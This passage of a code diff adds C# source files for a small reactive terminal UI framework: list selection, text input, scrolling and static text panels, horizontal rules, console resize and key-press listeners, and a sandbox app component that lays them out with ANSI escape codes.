+            bool isCustomTextOption = props.CustomTextPlaceholder != null && i == props.Items.Count;
+
+            // Cursor indicator
+            Console.Write(isSelected ? "> " : "  ");
+
+            if (isCustomTextOption)
+            {
+                this.RenderCustomTextOption(props, isSelected);
+            }
+            else
+            {
+                if (isSelected)
+                {
+                    Console.Write(AnsiEscapes.SetForegroundColor(props.HighlightColor));
+                }
+
+                Console.Write(props.Items[i]);
+
+                if (isSelected)
+                {
+                    Console.Write(AnsiEscapes.ResetAttributes);
+                }
+            }
+
+            Console.WriteLine();
+            row++;
+        }
+    }
+
+    /// <summary>
+    /// Gets the number of lines the title occupies, or 0 if no title is set.
+    /// </summary>
+    private static int GetTitleLineCount(string? title) =>
+        title is null ? 0 : title.Split('\n').Length;
+
+    private void RenderCustomTextOption(ListSelectionProps props, bool isSelected)
+    {
+        if (props.CustomText.Length > 0)
+        {
+            // User has typed text — render in highlight color if selected
+            if (isSelected)
+            {
+                Console.Write(AnsiEscapes.SetForegroundColor(props.HighlightColor));
+            }
+
+            Console.Write(props.CustomText);
+
+            if (isSelected)
+            {
+                Console.Write(AnsiEscapes.ResetAttributes);
+            }
+        }
+        else if (!string.IsNullOrWhiteSpace(props.CustomTextPlaceholder))
+        {
+            // No text — show placeholder in dark grey (or highlight color if selected)
+            if (isSelected)
+            {
+                Console.Write(AnsiEscapes.SetForegroundColor(props.HighlightColor));
+            }
+            else
+            {
+                Console.Write(AnsiEscapes.SetForegroundColor(ConsoleColor.DarkGray));
+            }
+
+            Console.Write(" ");
+            Console.Write(props.CustomTextPlaceholder);
+            Console.Write(AnsiEscapes.ResetAttributes);
+        }
+    }
+}
+
+/// <summary>
+/// Props for <see cref="ListSelection"/>.
+/// </summary>
+public record ListSelectionProps : ConsoleReactiveProps
+{
+    /// <summary>Gets the title text displayed above the list items. May contain newlines for multi-line titles.</summary>
+    public string? Title { get; init; }
+
+    /// <summary>Gets the items to display in the list.</summary>
+    public IReadOnlyList<string> Items { get; init; } = Array.Empty<string>();
+
+    /// <summary>Gets the zero-based index of the currently selected item.</summary>
+    public int SelectedIndex { get; init; }
+
+    /// <summary>Gets the highlight color for the active item. Defaults to <see cref="ConsoleColor.Cyan"/>.</summary>
+    public ConsoleColor HighlightColor { get; init; } = ConsoleColor.Cyan;
+
+    /// <summary>Gets the placeholder text for the custom text input option. If <c>null</c>, no custom option is shown.</summary>
+    public string? CustomTextPlaceholder { get; init; }
+
+    /// <summary>Gets the text being typed into the custom text input option.</summary>
+    public string CustomText { get; init; } = "";
+}
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+// Copyright (c) Microsoft. All rights reserved.
+
+using Harness.ConsoleReactiveFramework;
+
+namespace Harness.ConsoleReactiveComponents;
+
+/// <summary>
+/// Props for <see cref="TextInput"/>.
+/// </summary>
+public record TextInputProps : ConsoleReactiveProps
+{
+    /// <summary>Gets the prompt string displayed on the left (e.g. "&gt; " or "user &gt; ").</summary>
+    public string Prompt { get; init; } = "> ";
+
+    /// <summary>Gets the text content to render to the right of the prompt.</summary>
+    public string Text { get; init; } = "";
+
+    /// <summary>Gets the placeholder text shown in dark grey when <see cref="Text"/> is empty.</summary>
+    public string Placeholder { get; init; } = "";
+}
+
+/// <summary>
+/// A component that renders a prompt with text input. Supports multi-line text
+/// where continuation lines are indented to align with the text start position
+/// (i.e. the column after the prompt).
+/// </summary>
+public class TextInput : ConsoleReactiveComponent<TextInputProps, ConsoleReactiveState>
+{
+    /// <summary>
+    /// Calculates the height (in rows) required to render the prompt and text
+    /// given the available width.
+    /// </summary>
+    /// <param name="props">The text input props.</param>
+    /// <param name="availableWidth">The total available width in columns.</param>
+    /// <returns>The number of rows needed.</returns>
+    public static int CalculateHeight(TextInputProps props, int availableWidth)
+    {
+        int promptLength = props.Prompt.Length;
+        int textWidth = availableWidth - promptLength;
+
+        if (textWidth <= 0 || props.Text.Length == 0)
+        {
+            return 1;
+        }
+
+        int lines = 1;
+        int remaining = props.Text.Length - textWidth;
+        while (remaining > 0)
+        {
+            lines++;
+            remaining -= textWidth;
+        }
+
+        return lines;
+    }
+
+    /// <inheritdoc />
+    public override void RenderCore(TextInputProps props, ConsoleReactiveState state)
+    {
+        int promptLength = props.Prompt.Length;
+        int textWidth = this.Width - promptLength;
+        string indent = new(' ', promptLength);
+
+        // First line: prompt + start of text
+        Console.Write(AnsiEscapes.MoveCursor(this.Y, this.X));
+        Console.Write(AnsiEscapes.EraseEntireLine);
+        Console.Write(props.Prompt);
+
+        if (textWidth <= 0 || props.Text.Length == 0)
+        {
+            // Show placeholder if text is empty
+            if (props.Text.Length == 0 && props.Placeholder.Length > 0 && textWidth > 0)
+            {
+                Console.Write(AnsiEscapes.SetForegroundColor(ConsoleColor.DarkGray));
+                Console.Write(" ");
+                Console.Write(props.Placeholder[..Math.Min(props.Placeholder.Length, textWidth - 1)]);
+                Console.Write(AnsiEscapes.ResetAttributes);
+            }
+
+            return;
+        }
+
+        int offset = 0;
+        int firstChunk = Math.Min(textWidth, props.Text.Length);
+        Console.Write(props.Text[offset..firstChunk]);
+        offset = firstChunk;
+
+        // Continuation lines: indented to align with text start
+        int row = 1;
+        while (offset < props.Text.Length)
+        {
+            int chunk = Math.Min(textWidth, props.Text.Length - offset);
+            Console.Write(AnsiEscapes.MoveCursor(this.Y + row, this.X));
+            Console.Write(AnsiEscapes.EraseEntireLine);
+            Console.Write(indent);
+            Console.Write(props.Text[offset..(offset + chunk)]);
+            offset += chunk;
+            row++;
+        }
+    }
+}
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+// Copyright (c) Microsoft. All rights reserved.
+
+using Harness.ConsoleReactiveFramework;
+
+namespace Harness.ConsoleReactiveComponents;
+
+/// <summary>
+/// Props for <see cref="TextPanel"/>.
+/// </summary>
+public record TextPanelProps : ConsoleReactiveProps
+{
+    /// <summary>Gets the items to render in the panel.</summary>
+    public IReadOnlyList<object> Items { get; init; } = [];
+}
+
+/// <summary>
+/// A component that renders a list of items vertically using a custom render delegate.
+/// Designed for rendering dynamic items in a non-scroll region that may be
+/// re-rendered on each update. If the component's <see cref="ConsoleReactiveComponent.Height"/>
+/// exceeds the number of output lines, leftover lines are erased.
+/// </summary>
+public class TextPanel : ConsoleReactiveComponent<TextPanelProps, ConsoleReactiveState>
+{
+    private readonly Func<object, string> _renderItem;
+
+    /// <summary>
+    /// Initializes a new instance of the <see cref="TextPanel"/> class.
+    /// </summary>
+    /// <param name="renderItem">A delegate that renders an item and returns the text to display (may contain newlines).</param>
+    public TextPanel(Func<object, string> renderItem)
+    {
+        this._renderItem = renderItem;
+    }
+
+    /// <summary>
+    /// Calculates the height (in lines) needed to render all items.
+    /// </summary>
+    /// <param name="items">The items to measure.</param>
+    /// <param name="renderItem">The render delegate to use for measuring.</param>
+    /// <returns>The total number of lines all items will occupy.</returns>
+    public static int CalculateHeight(IReadOnlyList<object> items, Func<object, string> renderItem)
+    {
+        int total = 0;
+        for (int i = 0; i < items.Count; i++)
+        {
+            string text = renderItem(items[i]);
+            total += CountLines(text);
+        }
+
+        return total;
+    }
+
+    /// <inheritdoc />
+    public override void RenderCore(TextPanelProps props, ConsoleReactiveState state)
+    {
+        int currentRow = 0;
+
+        for (int i = 0; i < props.Items.Count; i++)
+        {
+            string text = this._renderItem(props.Items[i]);
+            string[] lines = text.Split('\n');
+            int lineCount = CountLines(text);
+
+            for (int j = 0; j < lineCount; j++)
+            {
+                Console.Write(AnsiEscapes.MoveAndEraseLine(this.Y + currentRow));
+                Console.Write(lines[j]);
+                currentRow++;
+            }
+        }
+
+        // If the component height exceeds the output, erase leftover lines
+        if (this.Height > currentRow)
+        {
+            for (int i = currentRow; i < this.Height; i++)
+            {
+                Console.Write(AnsiEscapes.MoveAndEraseLine(this.Y + i));
+            }
+        }
+    }
+
+    private static int CountLines(string text)
+    {
+        if (string.IsNullOrEmpty(text))
+        {
+            return 0;
+        }
+
+        int count = 1;
+        for (int i = 0; i < text.Length; i++)
+        {
+            if (text[i] == '\n')
+            {
+                count++;
+            }
+        }
+
+        // If text ends with a newline, don't count the trailing empty line
+        if (text[text.Length - 1] == '\n')
+        {
+            count--;
+        }
+
+        return count;
+    }
+}
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+// Copyright (c) Microsoft. All rights reserved.
+
+using Harness.ConsoleReactiveFramework;
+
+namespace Harness.ConsoleReactiveComponents;
+
+/// <summary>
+/// Props for <see cref="TextScrollPanel"/>.
+/// </summary>
+public record TextScrollPanelProps : ConsoleReactiveProps
+{
+    /// <summary>Gets the items to render in the scroll panel.</summary>
+    public IReadOnlyList<object> Items { get; init; } = [];
+}
+
+/// <summary>
+/// State for <see cref="TextScrollPanel"/>.
+/// </summary>
+/// <param name="RenderedCount">The number of items already rendered.</param>
+public record TextScrollPanelState(int RenderedCount = 0) : ConsoleReactiveState;
+
+/// <summary>
+/// A component that renders items within a scroll area using a custom render delegate.
+/// All items are considered finalized — only new items since the last render are output.
+/// Use <see cref="Reset"/> to force a full re-render.
+/// </summary>
+public class TextScrollPanel : ConsoleReactiveComponent<TextScrollPanelProps, TextScrollPanelState>
+{
+    private readonly Func<object, string> _renderItem;
+
+    /// <summary>
+    /// Initializes a new instance of the <see cref="TextScrollPanel"/> class.
+    /// </summary>
+    /// <param name="renderItem">A delegate that renders a single item and returns the text to display (may contain newlines).</param>
+    public TextScrollPanel(Func<object, string> renderItem)
+    {
+        this._renderItem = renderItem;
+        this.State = new TextScrollPanelState();
+    }
+
+    /// <summary>
+    /// Resets the panel so all items will be re-rendered on the next Render call.
+    /// </summary>
+    public void Reset()
+    {
+        this.State = new TextScrollPanelState();
+    }
+
+    /// <inheritdoc />
+    public override void RenderCore(TextScrollPanelProps props, TextScrollPanelState state)
+    {
+        if (props.Items.Count == 0)
+        {
+            return;
+        }
+
+        // Move cursor to the bottom of the scroll area
+        Console.Write(AnsiEscapes.MoveCursor(this.Y + this.Height - 1, this.X));
+
+        // Output only new items since last rendered
+        for (int i = state.RenderedCount; i < props.Items.Count; i++)
+        {
+            string text = this._renderItem(props.Items[i]);
+            Console.Write(text);
+        }
+
+        // Update state to track what we've rendered
+        this.State = new TextScrollPanelState(props.Items.Count);
+    }
+}
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+// Copyright (c) Microsoft. All rights reserved.
+
+using Harness.ConsoleReactiveFramework;
+
+namespace Harness.ConsoleReactiveComponents;
+
+/// <summary>
+/// Props for <see cref="TopBottomRule"/>.
+/// </summary>
+public record TopBottomRuleProps : ConsoleReactiveProps
+{
+    /// <summary>Gets the width of the horizontal rules in characters.</summary>
+    public int Width { get; init; }
+
+    /// <summary>Gets the foreground color of the horizontal rules. If <c>null</c>, the default terminal color is used.</summary>
+    public ConsoleColor? Color { get; init; }
+}
+
+/// <summary>
+/// A component that renders a top and bottom horizontal rule (─) with children
+/// stacked vertically between them.
+/// </summary>
+public class TopBottomRule : ConsoleReactiveComponent<TopBottomRuleProps, ConsoleReactiveState>
+{
+    /// <summary>
+    /// Calculates the total height including the top rule, children, and bottom rule.
+    /// </summary>
+    /// <param name="props">The component props containing children.</param>
+    /// <returns>2 (for the rules) plus the sum of all children heights.</returns>
+    public static int CalculateHeight(TopBottomRuleProps props)
+    {
+        int childrenHeight = 0;
+        foreach (var child in props.Children)
+        {
+            childrenHeight += child.Height;
+        }
+
+        // Top rule + children + bottom rule
+        return 2 + childrenHeight;
+    }
+
+    /// <inheritdoc />
+    public override void RenderCore(TopBottomRuleProps props, ConsoleReactiveState state)
+    {
+        int ruleWidth = props.Width;
+        string rule = new('─', ruleWidth);
+
+        if (props.Color.HasValue)
+        {
+            Console.Write(AnsiEscapes.SetForegroundColor(props.Color.Value));
+        }
+
+        // Top rule
+        Console.Write(AnsiEscapes.MoveCursor(this.Y, this.X));
+        Console.Write(rule);
+
+        // Render children stacked below the top rule
+        int currentY = this.Y + 1;
+
+        if (props.Color.HasValue)
+        {
+            Console.Write(AnsiEscapes.ResetAttributes);
+        }
+
+        foreach (var child in props.Children)
+        {
+            child.X = this.X;
+            child.Y = currentY;
+            child.Render();
+            currentY += child.Height;
+        }
+
+        if (props.Color.HasValue)
+        {
+            Console.Write(AnsiEscapes.SetForegroundColor(props.Color.Value));
+        }
+
+        // Bottom rule
+        Console.Write(AnsiEscapes.MoveCursor(currentY, this.X));
+        Console.Write(rule);
+
+        if (props.Color.HasValue)
+        {
+            Console.Write(AnsiEscapes.ResetAttributes);
+        }
+    }
+}
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+// Copyright (c) Microsoft. All rights reserved.
+
+namespace Harness.ConsoleReactiveFramework;
+
+/// <summary>
+/// Abstract base class for all console UI components. Provides layout properties
+/// (position and size) and a <see cref="Render"/> method for drawing to the console.
+/// Derive from <see cref="ConsoleReactiveComponent{TProps, TState}"/> instead of this class directly.
+/// </summary>
+public abstract class ConsoleReactiveComponent
+{
+    internal ConsoleReactiveComponent()
+    {
+    }
+
+    /// <summary>Gets or sets the 1-based column position of the component.</summary>
+    public int X { get; set; }
+
+    /// <summary>Gets or sets the 1-based row position of the component.</summary>
+    public int Y { get; set; }
+
+    /// <summary>Gets or sets the width of the component in columns.</summary>
+    public int Width { get; set; }
+
+    /// <summary>Gets or sets the height of the component in rows.</summary>
+    public int Height { get; set; }
+
+    /// <summary>Renders the component to the console at its current position.</summary>
+    public abstract void Render();
+}
+
+/// <summary>
+/// Generic base class for console UI components with typed props and state.
+/// Props represent externally supplied configuration; state represents internal mutable data.
+/// </summary>
+/// <typeparam name="TProps">The type of the component's props (external configuration).</typeparam>
+/// <typeparam name="TState">The type of the component's internal state.</typeparam>
+public abstract class ConsoleReactiveComponent<TProps, TState> : ConsoleReactiveComponent
+    where TProps : ConsoleReactiveProps
+    where TState : ConsoleReactiveState
+{
+    private readonly object _renderLock = new();
+    private TProps? _lastRenderedProps;
+    private TState? _lastRenderedState;
+
+    /// <summary>Gets or sets the component's props (external configuration).</summary>
+    public TProps? Props { get; set; }
+
+    /// <summary>Gets or sets the component's internal state.</summary>
+    protected TState? State { get; set; }
+
+    /// <summary>
+    /// Updates the component's state and triggers a re-render.
+    /// </summary>
+    /// <param name="newState">The new state value.</param>
+    public void SetState(TState newState)
+    {
+        this.State = newState;
+        this.Render();
+    }
+
+    /// <summary>
+    /// Renders the component using the current props and state.
+    /// Uses a lock to prevent concurrent renders from multiple sources.
+    /// Skips rendering if neither props nor state have changed since the last render.
+    /// </summary>
+    public override void Render()
+    {
+        lock (this._renderLock)
+        {
+            if (this.Props is null)
+            {
+                return;
+            }
+
+            if (ReferenceEquals(this.Props, this._lastRenderedProps)
+                && ReferenceEquals(this.State, this._lastRenderedState))
+            {
+                return;
+            }
+
+            this.RenderCore(this.Props, this.State!);
+
+            this._lastRenderedProps = this.Props;
+            this._lastRenderedState = this.State;
+        }
+    }
+
+    /// <summary>
+    /// Called by <see cref="Render"/> to perform the actual rendering. Override this in derived classes.
+    /// </summary>
+    /// <param name="props">The current props.</param>
+    /// <param name="state">The current state.</param>
+    public abstract void RenderCore(TProps props, TState state);
+}
+
+/// <summary>
+/// Base record for component props. Provides an optional <see cref="Children"/> collection
+/// for composing child components.
+/// </summary>
+public record ConsoleReactiveProps
+{
+    /// <summary>Gets the child components to render within this component.</summary>
+    public IReadOnlyList<ConsoleReactiveComponent> Children { get; init; } = [];
+}
+
+/// <summary>
+/// Base record for component state.
+/// </summary>
+public record ConsoleReactiveState;
@@ -0,0 +1,10 @@
+<Project Sdk="Microsoft.NET.Sdk">
+
+  <PropertyGroup>
+    <TargetFrameworks>net10.0</TargetFrameworks>
+
+    <Nullable>enable</Nullable>
+    <ImplicitUsings>enable</ImplicitUsings>
+  </PropertyGroup>
+
+</Project>
@@ -0,0 +1,83 @@
+// Copyright (c) Microsoft. All rights reserved.
+
+namespace Harness.ConsoleReactiveFramework;
+
+/// <summary>
+/// Event args for console resize events, containing the old and new dimensions.
+/// </summary>
+public class ConsoleResizeEventArgs : EventArgs
+{
+    /// <summary>Gets the previous console width.</summary>
+    public int OldWidth { get; }
+
+    /// <summary>Gets the previous console height.</summary>
+    public int OldHeight { get; }
+
+    /// <summary>Gets the new console width.</summary>
+    public int NewWidth { get; }
+
+    /// <summary>Gets the new console height.</summary>
+    public int NewHeight { get; }
+
+    /// <summary>
+    /// Initializes a new instance of the <see cref="ConsoleResizeEventArgs"/> class.
+    /// </summary>
+    /// <param name="oldWidth">The previous width.</param>
+    /// <param name="oldHeight">The previous height.</param>
+    /// <param name="newWidth">The new width.</param>
+    /// <param name="newHeight">The new height.</param>
+    public ConsoleResizeEventArgs(int oldWidth, int oldHeight, int newWidth, int newHeight)
+    {
+        this.OldWidth = oldWidth;
+        this.OldHeight = oldHeight;
+        this.NewWidth = newWidth;
+        this.NewHeight = newHeight;
+    }
+}
+
+/// <summary>
+/// Singleton that polls console dimensions every 16ms and raises the
+/// <see cref="ConsoleResized"/> event when the window size changes.
+/// </summary>
+public sealed class ConsoleResizeListener
+{
+#pragma warning disable IDE0052 // Remove unread private members
+    private readonly Task _task;
+#pragma warning restore IDE0052 // Remove unread private members
+
+    private int _lastWidth;
+    private int _lastHeight;
+
+    private ConsoleResizeListener()
+    {
+        this._lastWidth = Console.WindowWidth;
+        this._lastHeight = Console.WindowHeight;
+        this._task = this.ListenForResizeAsync();
+    }
+
+    /// <summary>Gets the singleton instance of <see cref="ConsoleResizeListener"/>.</summary>
+    public static ConsoleResizeListener Instance { get; } = new ConsoleResizeListener();
+
+    /// <summary>Raised when the console window is resized.</summary>
+    public event EventHandler<ConsoleResizeEventArgs>? ConsoleResized;
+
+    private async Task ListenForResizeAsync()
+    {
+        while (true)
+        {
+            int currentWidth = Console.WindowWidth;
+            int currentHeight = Console.WindowHeight;
+
+            if (currentWidth != this._lastWidth || currentHeight != this._lastHeight)
+            {
+                int oldWidth = this._lastWidth;
+                int oldHeight = this._lastHeight;
+                this._lastWidth = currentWidth;
+                this._lastHeight = currentHeight;
+                this.ConsoleResized?.Invoke(this, new ConsoleResizeEventArgs(oldWidth, oldHeight, currentWidth, currentHeight));
+            }
+
+            await Task.Delay(16);
+        }
+    }
+}
@@ -0,0 +1,57 @@
+// Copyright (c) Microsoft. All rights reserved.
+
+namespace Harness.ConsoleReactiveFramework;
+
+/// <summary>
+/// Event args for key press events, wrapping a <see cref="ConsoleKeyInfo"/>.
+/// </summary>
+public class KeyPressEventArgs : EventArgs
+{
+    /// <summary>Gets the key information for the pressed key.</summary>
+    public ConsoleKeyInfo KeyInfo { get; }
+
+    /// <summary>
+    /// Initializes a new instance of the <see cref="KeyPressEventArgs"/> class.
+    /// </summary>
+    /// <param name="keyInfo">The key information.</param>
+    public KeyPressEventArgs(ConsoleKeyInfo keyInfo)
+    {
+        this.KeyInfo = keyInfo;
+    }
+}
+
+/// <summary>
+/// Singleton that polls for console key presses every 16ms and raises the
+/// <see cref="KeyPressed"/> event when a key is detected.
+/// </summary>
+public sealed class KeyEventListener
+{
+#pragma warning disable IDE0052 // Remove unread private members
+    private readonly Task _task;
+#pragma warning restore IDE0052 // Remove unread private members
+
+    private KeyEventListener()
+    {
+        this._task = this.ListenForKeyPressesAsync();
+    }
+
+    /// <summary>Gets the singleton instance of <see cref="KeyEventListener"/>.</summary>
+    public static KeyEventListener Instance { get; } = new KeyEventListener();
+
+    /// <summary>Raised when a key is pressed in the console.</summary>
+    public event EventHandler<KeyPressEventArgs>? KeyPressed;
+
+    private async Task ListenForKeyPressesAsync()
+    {
+        while (true)
+        {
+            while (Console.KeyAvailable)
+            {
+                var keyInfo = Console.ReadKey(intercept: true);
+                this.KeyPressed?.Invoke(this, new KeyPressEventArgs(keyInfo));
+            }
+
+            await Task.Delay(16);
+        }
+    }
+}
@@ -0,0 +1,315 @@
+// Copyright (c) Microsoft. All rights reserved.
+
+using Harness.ConsoleReactiveComponents;
+using Harness.ConsoleReactiveFramework;
+
+namespace Harness.ConsoleSandbox;
+
+/// <summary>
+/// Determines which component is shown in the bottom panel.
+/// </summary>
+public enum BottomPanelMode
+{
+    /// <summary>Show the list selection component.</summary>
+    ListSelection,
+
+    /// <summary>Show the text input component.</summary>
+    TextInput
+}
+
+public record AppComponentProps : ConsoleReactiveProps
+{
+    public IReadOnlyList<string> Items { get; init; } = Array.Empty<string>();
+    public IReadOnlyList<object> ScrollItems { get; init; } = [];
+
+    /// <summary>Gets the bottom panel mode.</summary>
+    public BottomPanelMode Mode { get; init; } = BottomPanelMode.ListSelection;
+
+    /// <summary>Gets the prompt string for text input mode.</summary>
+    public string Prompt { get; init; } = "> ";
+
+    /// <summary>Gets the placeholder text shown when the input is empty.</summary>
+    public string Placeholder { get; init; } = "";
+
+    /// <summary>Gets the highlight color for the active list item. Defaults to <see cref="ConsoleColor.Cyan"/>.</summary>
+    public ConsoleColor ListHighlightColor { get; init; } = ConsoleColor.Cyan;
+
+    /// <summary>Gets the placeholder text for the custom text input option in the list. If <c>null</c>, no custom option is shown.</summary>
+    public string? ListCustomTextPlaceholder { get; init; }
+
+    /// <summary>Gets the foreground color for the rule borders. If <c>null</c>, uses the default terminal color.</summary>
+    public ConsoleColor? RuleColor { get; init; }
+}
+
+/// <summary>
+/// Internal state for the <see cref="AppComponent"/>.
+/// </summary>
+public record AppComponentState : ConsoleReactiveState
+{
+    /// <summary>Gets the selected index in list selection mode.</summary>
+    public int SelectedIndex { get; init; }
+
+    /// <summary>Gets the current input text being typed in text input mode.</summary>
+    public string InputText { get; init; } = "";
+
+    /// <summary>Gets the current text being typed into the list's custom text option.</summary>
+    public string ListInputText { get; init; } = "";
+}
+
+public class AppComponent : ConsoleReactiveComponent<AppComponentProps, AppComponentState>
+{
+    private readonly TopBottomRule _rule = new();
+    private readonly ListSelection _listSelection = new();
+    private readonly TextInput _textInput = new();
+    private readonly TextScrollPanel _textScrollPanel;
+    private readonly TextPanel _textPanel;
+    private readonly Func<object, string> _renderItem;
+    private readonly Action<string> _onTextInputSubmit;
+    private readonly Action<string> _onListInputSubmit;
+    private bool _resizedSinceLastRender;
+    private int _lastScrollBottom;
+
+    /// <summary>
+    /// Initializes a new instance of the <see cref="AppComponent"/> class.
+    /// </summary>
+    /// <param name="renderScrollItem">A delegate that renders a single scroll panel item and returns the text to display.</param>
+    /// <param name="onTextInputSubmit">A callback invoked with the input text when the user presses Enter in text input mode.</param>
+    /// <param name="onListInputSubmit">A callback invoked with the selected or typed text when the user presses Enter in list selection mode.</param>
+    public AppComponent(Func<object, string> renderScrollItem, Action<string> onTextInputSubmit, Action<string> onListInputSubmit)
+    {
+        this._renderItem = renderScrollItem;
+        this._onTextInputSubmit = onTextInputSubmit;
+        this._onListInputSubmit = onListInputSubmit;
+        this._textScrollPanel = new TextScrollPanel(renderScrollItem);
+        this._textPanel = new TextPanel(renderScrollItem);
+        this.State = new AppComponentState();
+        KeyEventListener.Instance.KeyPressed += this.OnKeyPressed;
+        ConsoleResizeListener.Instance.ConsoleResized += this.OnConsoleResized;
+    }
+
+    private void OnKeyPressed(object? sender, KeyPressEventArgs e)
+    {
+        if (this.Props!.Mode == BottomPanelMode.TextInput)
+        {
+            this.HandleTextInputKey(e);
+        }
+        else
+        {
+            this.HandleListSelectionKey(e);
+        }
+    }
+
+    private void HandleTextInputKey(KeyPressEventArgs e)
+    {
+        if (e.KeyInfo.Key == ConsoleKey.Enter)
+        {
+            string text = this.State!.InputText;
+            this.SetState(this.State with { InputText = "" });
+            this._onTextInputSubmit(text);
+        }
+        else if (e.KeyInfo.Key == ConsoleKey.Backspace)
+        {
+            if (this.State!.InputText.Length > 0)
+            {
+                this.SetState(this.State with { InputText = this.State.InputText[..^1] });
+            }
+        }
+        else if (e.KeyInfo.KeyChar != '\0' && !char.IsControl(e.KeyInfo.KeyChar))
+        {
+            this.SetState(this.State! with { InputText = this.State.InputText + e.KeyInfo.KeyChar });
+        }
+    }
+
+    private void HandleListSelectionKey(KeyPressEventArgs e)
+    {
+        int maxIndex = this.Props!.Items.Count - 1;
+        if (this.Props.ListCustomTextPlaceholder != null)
+        {
+            maxIndex = this.Props.Items.Count; // extra option at the end
+        }
+
+        bool isOnCustomTextOption = this.Props.ListCustomTextPlaceholder != null
+            && this.State!.SelectedIndex == this.Props.Items.Count;
+
+        if (e.KeyInfo.Key == ConsoleKey.UpArrow)
+        {
+            this.SetState(this.State! with { SelectedIndex = Math.Max(0, this.State.SelectedIndex - 1) });
+        }
+        else if (e.KeyInfo.Key == ConsoleKey.DownArrow)
+        {
+            this.SetState(this.State! with { SelectedIndex = Math.Min(maxIndex, this.State.SelectedIndex + 1) });
+        }
+        else if (e.KeyInfo.Key == ConsoleKey.Enter)
+        {
+            if (isOnCustomTextOption)
+            {
+                string text = this.State!.ListInputText;
+                this.SetState(this.State with { ListInputText = "" });
+                this._onListInputSubmit(text);
+            }
+            else
+            {
+                this._onListInputSubmit(this.Props.Items[this.State!.SelectedIndex]);
+            }
+        }
+        else if (isOnCustomTextOption)
+        {
+            // Typing only works when on the custom text option
+            if (e.KeyInfo.Key == ConsoleKey.Backspace)
+            {
+                if (this.State!.ListInputText.Length > 0)
+                {
+                    this.SetState(this.State with { ListInputText = this.State.ListInputText[..^1] });
+                }
+            }
+            else if (e.KeyInfo.KeyChar != '\0' && !char.IsControl(e.KeyInfo.KeyChar))
+            {
+                this.SetState(this.State! with { ListInputText = this.State.ListInputText + e.KeyInfo.KeyChar });
+            }
+        }
+    }
+
+    private void OnConsoleResized(object? sender, ConsoleResizeEventArgs e)
+    {
+        this._resizedSinceLastRender = true;
+        this.Render();
+    }
+
+    public override void RenderCore(AppComponentProps props, AppComponentState state)
+    {
+        // Determine the text panel height for the last scroll item
+        object? lastItem = props.ScrollItems.Count > 0 ? props.ScrollItems[^1] : null;
+        IReadOnlyList<object> lastItems = lastItem != null ? [lastItem] : [];
+        int textPanelHeight = TextPanel.CalculateHeight(lastItems, this._renderItem);
+        if (textPanelHeight > 0)
+        {
+            textPanelHeight++; // Extra line for spacing between text panel and rule
+        }
+
+        // Build the bottom panel child based on mode
+        ConsoleReactiveComponent bottomChild;
+        int bottomChildHeight;
+
+        if (props.Mode == BottomPanelMode.TextInput)
+        {
+            var textInputProps = new TextInputProps
+            {
+                Prompt = props.Prompt,
+                Text = state.InputText,
+                Placeholder = props.Placeholder
+            };
+
+            bottomChildHeight = TextInput.CalculateHeight(textInputProps, Console.WindowWidth);
+            this._textInput.Width = Console.WindowWidth;
+            this._textInput.Height = bottomChildHeight;
+            this._textInput.Props = textInputProps;
+            bottomChild = this._textInput;
+        }
+        else
+        {
+            var listProps = new ListSelectionProps
+            {
+                Items = props.Items,
+                SelectedIndex = state.SelectedIndex,
+                HighlightColor = props.ListHighlightColor,
+                CustomTextPlaceholder = props.ListCustomTextPlaceholder,
+                CustomText = state.ListInputText
+            };
+
+            bottomChildHeight = ListSelection.CalculateHeight(listProps);
+            this._listSelection.Height = bottomChildHeight;
+            this._listSelection.Props = listProps;
+            bottomChild = this._listSelection;
+        }
+
+        var ruleProps = new TopBottomRuleProps
+        {
+            Width = Console.WindowWidth,
+            Color = props.RuleColor,
+            Children = [bottomChild]
+        };
+
+        int ruleHeight = TopBottomRule.CalculateHeight(ruleProps);
+        int scrollBottom = Console.WindowHeight - ruleHeight - textPanelHeight;
+
+        // If scroll region changed or a clear is needed, reset everything
+        if (this._resizedSinceLastRender || (this._lastScrollBottom != 0 && scrollBottom != this._lastScrollBottom))
+        {
+            Console.Write(AnsiEscapes.EraseEntireScreen);
+            Console.Write(AnsiEscapes.EraseScrollbackBuffer);
+            this._textScrollPanel.Reset();
+            this._resizedSinceLastRender = false;
+        }
+
+        this._lastScrollBottom = scrollBottom;
+
+        Console.Write(AnsiEscapes.SetScrollRegion(scrollBottom));
+
+        // Render text scroll panel in the scroll area (all items except the last)
+        IReadOnlyList<object> scrollItems = props.ScrollItems.Count > 1
+            ? props.ScrollItems.Take(props.ScrollItems.Count - 1).ToList()
+            : [];
+
+        this._textScrollPanel.X = 1;
+        this._textScrollPanel.Y = 1;
+        this._textScrollPanel.Width = Console.WindowWidth;
+        this._textScrollPanel.Height = scrollBottom;
+        this._textScrollPanel.Props = new TextScrollPanelProps
+        {
+            Items = scrollItems
+        };
+        this._textScrollPanel.Render();
+
+        // Render the text panel for the last (dynamic) item just below the scroll region
+        this._textPanel.X = 1;
+        this._textPanel.Y = scrollBottom + 1;
+        this._textPanel.Width = Console.WindowWidth;
+        this._textPanel.Height = textPanelHeight;
+        this._textPanel.Props = new TextPanelProps
+        {
+            Items = lastItems,
+        };
+        this._textPanel.Render();
+
+        // Render the bottom rule + child below the text panel
+        this._rule.X = 1;
+        this._rule.Y = scrollBottom + textPanelHeight + 1;
+        this._rule.Props = ruleProps;
+        this._rule.Render();
+
+        // Position cursor for natural typing appearance
+        if (props.Mode == BottomPanelMode.TextInput)
+        {
+            int promptLength = props.Prompt.Length;
+            int textWidth = Console.WindowWidth - promptLength;
+            int textLength = state.InputText.Length;
+
+            // The TextInput starts at rule.Y + 1 (first row inside the rule)
+            int textInputY = this._rule.Y + 1;
+
+            if (textWidth <= 0 || textLength == 0)
+            {
+                // Cursor right after the prompt
+                Console.Write(AnsiEscapes.MoveCursor(textInputY, promptLength + 1));
+            }
+            else
+            {
+                // Calculate which row and column the cursor lands on
+                int cursorRow = textLength < textWidth ? 0 : 1 + ((textLength - textWidth) / textWidth);
+                int cursorCol = textLength < textWidth ? textLength : (textLength - textWidth) % textWidth;
+                Console.Write(AnsiEscapes.MoveCursor(textInputY + cursorRow, promptLength + cursorCol + 1));
+            }
+        }
+        else if (props.Mode == BottomPanelMode.ListSelection
+            && props.ListCustomTextPlaceholder != null
+            && state.SelectedIndex == props.Items.Count)
+        {
+            // Cursor after the typed text in the custom text option
+            // The custom text option is at rule.Y + 1 + Items.Count (0-based row inside rule)
+            int customOptionY = this._rule.Y + 1 + props.Items.Count;
+            // "> " prefix is 2 chars, then the typed text
+            int cursorCol = 2 + state.ListInputText.Length + 1;
